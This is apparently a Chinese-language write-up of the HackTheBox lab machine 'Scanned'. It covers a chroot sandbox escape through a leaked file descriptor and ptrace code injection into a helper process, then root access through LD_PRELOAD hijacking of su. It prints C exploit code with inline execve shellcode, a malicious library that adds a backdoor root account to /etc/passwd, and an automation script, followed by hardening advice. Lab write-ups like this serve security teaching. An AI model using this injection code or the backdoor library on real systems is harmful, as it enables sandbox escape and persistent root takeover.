[Meachines] [Insane] Insane Scanned Chroot囚笼(沙箱)逃逸+PTRACE调试+LD_PRELOAD权限提升
字数 1862 2025-08-29 08:30:06
高级沙箱逃逸与权限提升技术详解
1. 环境侦察与信息收集
1.1 目标系统信息
- IP地址: 10.10.11.141
- 开放端口:
- 22/tcp: OpenSSH 8.4p1 Debian 5
- 80/tcp: nginx 1.18.0
- 操作系统: Linux (Debian)
- Web服务标题: "Malware Scanner"
1.2 关键发现
- 发现可下载的源代码:
http://scanned.htb/static/source.tar.gz - 包含两个关键文件:
sandbox.c: 沙箱实现代码tracing.c: 跟踪监控代码
2. 沙箱机制分析
2.1 沙箱核心功能 (sandbox.c)
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <time.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/capability.h>
2.1.1 主要安全机制
-
能力检查 (
check_caps())- 使用
capget系统调用检查进程能力 - 要求具备
CAP_SYS_ADMIN等关键能力(0x2401c0)
- 使用
-
命名空间隔离 (
do_namespaces())- 使用
unshare(CLONE_NEWPID|CLONE_NEWNET)创建PID和网络命名空间 - 创建新的"init"进程(PID 1)
- 使用
-
chroot监狱 (
make_jail())- 创建隔离目录结构
- 复制必要的库文件(
libc.so.6,ld-linux-x86-64.so.2) - 使用
chroot(".")限制文件系统访问
-
权限降级
setgid(1001)和setuid(1001)降低进程权限
2.1.2 关键漏洞点
-
文件描述符处理不当
jailsfd在父进程打开后未正确关闭所有副本- 子进程仅关闭了自己的副本,其他进程仍保留访问权限
-
进程隔离不完整
do_killer进程在chroot之外创建,未受chroot限制
2.2 跟踪监控机制 (tracing.c)
2.2.1 主要功能
-
ptrace监控
- 使用
PTRACE_TRACEME让子进程被跟踪 - 记录所有系统调用及其参数
- 使用
-
进程控制
do_killer: 5秒后终止目标进程do_log: 记录系统调用日志
2.2.2 关键漏洞点
-
PR_SET_DUMPABLE设置
prctl(PR_SET_DUMPABLE, 1)在fork前调用,使所有子进程可被调试
-
能力清除不彻底
- 虽然移除了大部分能力,但ptrace能力仍保留
3. 沙箱逃逸技术
3.1 逃逸原理
-
利用未关闭的文件描述符
jailsfd在do_killer进程中仍然有效- 可以访问沙箱外的文件系统
-
利用ptrace注入
- 附加到
do_killer进程(PID 3) - 注入代码使其执行任意命令
- 附加到
3.2 逃逸步骤
3.2.1 准备阶段
- 编译恶意程序:
$ musl-gcc -static exp.c -o exp
- 创建暂停/继续脚本:
# pause.sh
$ kill -STOP $(ps aux | grep './sandbox' | grep -v grep | awk '{print $2}')
# continue.sh
$ kill -CONT $(ps aux | grep './sandbox' | grep -v grep | awk '{print $2}')
3.2.2 执行逃逸
- 启动沙箱并暂停:
$ TMPFILE=$RANDOM; ./sandbox /path/to/exp "$TMPFILE" &
sleep 1; ./pause.sh
- 检查进程文件描述符:
TARGET_DIR="jails/$TMPFILE/proc/";
[ -d "$TARGET_DIR" ] && for pid in $(ls -1 "$TARGET_DIR" | grep -E '^[0-9]+$'); do
echo "Current Directory: $TARGET_DIR$pid";
ls -la "$TARGET_DIR$pid/fd";
done
- 使用注入代码读取敏感文件:
// 在do_stage_2()中修改为读取/etc/passwd
int file_fd = open("./etc/passwd", O_RDONLY);
3.3 完整逃逸代码示例
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/syscall.h>
void do_stage_1();
void do_stage_2();
void log_data(char *data, unsigned long size);
void inject();
void guard();
void putdata(pid_t child, unsigned long long addr, char *str, int len) {
// 注入代码到目标进程
}
void do_stage_1() {
// 附加到PID 3 (do_killer)
const int pid = 3;
ptrace(PTRACE_ATTACH, pid, 0, 0);
wait(NULL);
// 获取寄存器并注入代码
struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, pid, NULL, ®s);
putdata(pid, regs.rip, (char *)inject, (int)((unsigned long)&guard - (unsigned long)&inject));
// 解除附加
ptrace(PTRACE_DETACH, pid, 0, 0);
}
void do_stage_2() {
// 使用do_killer的权限执行命令
const int fd = 3; // jailsfd
int cwd = open(".", O_RDONLY | O_DIRECTORY);
fchdir(fd);
chdir("/");
// 读取敏感文件
int file_fd = open("./etc/passwd", O_RDONLY);
char *buf = calloc(1, 200000);
unsigned long size = read(file_fd, buf, 200000);
log_data(buf, size);
}
void inject() {
// 注入的shellcode: 重新执行程序并带参数
char program[] = "/userprog";
char *arg[3] = {program, "2", 0};
asm("movq $59, %%rax; movq %0, %%rdi; movq %1, %%rsi; xor %%rdx, %%rdx; syscall;"
: : "r"(program), "r"(arg) : "rax", "rdi", "rsi", "rdx");
}
int main(int argc, char **argv) {
if (argc < 2) {
do_stage_1(); // 第一阶段: 注入
} else {
do_stage_2(); // 第二阶段: 执行
}
}
4. 权限提升技术
4.1 发现SUID文件
find / -perm -4000 -type f 2>/dev/null
4.2 LD_PRELOAD劫持
-
原理
- 利用
bin/su依赖libpam_misc.so.0 - 通过
LD_PRELOAD注入恶意库
- 利用
-
恶意库代码
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <sys/prctl.h>
void misc_conv() { return; }
static __attribute__((constructor)) void init(void) {
// 提升权限
seteuid(0);
setuid(0);
// 添加后门用户
char *args[] = {"/bin/sh", "-p", "-c",
"echo 'root2:YiY4/N2td230w:0:0:root:/root:/bin/bash' >> /etc/passwd", NULL};
execve("/bin/sh", args, NULL);
}
- 编译与部署
gcc -shared -fPIC -o exp.so expso.c
- 自动化脚本
#!/bin/bash
FOLDER=$(pwgen 10 1)
mkdir "$FOLDER"
cp exp exp.so "$FOLDER"
cd "$FOLDER" || exit
mkdir -p jails/fuck/usr/lib/x86_64-linux-gnu/
./sandbox $(pwd)/exp fuck & sleep 0.1
cp /usr/lib/x86_64-linux-gnu/{libutil.so.1,libpam.so.0} jails/fuck/usr/lib/x86_64-linux-gnu/
cp exp.so jails/fuck/usr/lib/x86_64-linux-gnu/libpam_misc.so.0
chmod +x jails/fuck/usr/lib/x86_64-linux-gnu/
- 获取root权限
su root2
# 密码: suidroot
5. 防御措施
5.1 修复沙箱漏洞
-
正确关闭文件描述符
- 在fork前关闭不必要的文件描述符
- 使用
close_range()批量关闭
-
加强进程隔离
- 确保所有子进程都进入chroot环境
- 使用
pthread_atfork()处理fork时的资源清理
-
限制ptrace使用
- 设置
prctl(PR_SET_DUMPABLE, 0) - 使用
PR_SET_NO_NEW_PRIVS防止权限提升
- 设置
5.2 系统加固
-
SUID文件管理
- 定期审核SUID/SGID文件
- 限制不必要的SUID权限
-
LD_PRELOAD防护
- 对关键SUID程序设置
AT_SECURE标志 - 使用
libcap-ng限制能力
- 对关键SUID程序设置
-
内核安全配置
- 启用
kernel.yama.ptrace_scope - 使用命名空间和cgroups加强隔离
- 启用
6. 总结
本教学详细分析了基于chroot、命名空间和ptrace的沙箱机制及其逃逸技术,重点包括:
- 文件描述符泄漏导致的chroot逃逸
- ptrace注入攻击技术
- LD_PRELOAD劫持实现权限提升
- 完整的攻击链构建与自动化实现
这些技术展示了Linux容器安全中的关键问题,强调了在实现沙箱时需要全面考虑各种攻击向量的重要性。